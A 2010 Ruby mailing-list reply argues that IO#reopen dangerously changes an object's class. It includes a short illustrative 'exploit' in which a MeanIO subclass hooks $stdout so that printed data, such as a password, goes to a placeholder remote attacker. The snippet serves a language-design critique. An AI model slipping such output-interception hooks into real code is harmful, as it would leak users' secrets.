On Fri, Apr 30, 2010 at 2:09 AM, Robert K.
[email protected] wrote:
redirect stderr, stdin and stdout for child processes - at least on
POSIX systems. Â Any program that wants to do something similar like
IO.popen or just wants to prevent the child’s stdout to clutter its
own output depends on the ability to do this.
IO.popen doesn’t require IO#reopen to be available to users, so I’m
not sure what you mean by that. It may do something similar to reopen
under the covers, but that’s an implementation detail.
My primary gripe is the changing class; at worst, IO#reopen should
only change the class to some common superclass, so that reopening a
File stream with a Socket would turn it into an IO. But at best, the
class shouldn’t change at all; no other behavior in all of Ruby can
cause an object to change its effective type out from under you.
Consider this goofy sort of exploit:
class MeanIO < IO
def initialize(io)
super(io.fileno)
@io = io
end
def write(data)
$stderr.puts “sending your data to hacker!”
$remote_hacker.receive(data)
super(data)
end
end
$stdout.reopen(MeanIO.new($stdout))
puts ‘password:aSdFgH’
Now of course you could do similar sorts of things by simply class <<
$stdout, but the problem with reopen is that I can’t even freeze a
class somewhere to prevent this from happening. $SAFE can prevent you
from reopening on an “untainted IO”, but you have to go up to level 4
before that happens…plus I believe only MRI supports SAFE fully
(JRuby has some minimal support for tainting, but does not implement
SAFE levels).
So yeah, I appreciate that “reopen” is the typical way people redirect
IO, but in this case it breaks Ruby’s class/object model in a really
nasty way. Perhaps $stderr and friends should not be some sort of
DelegateIO that has a reopen, but which doesn’t change its class. Or
perhaps not changing the class and letting the user fail if they try
to call unsupported methods is best. At any rate, for a strongly-typed
language like Ruby, objects should not change their class under any
circumstances.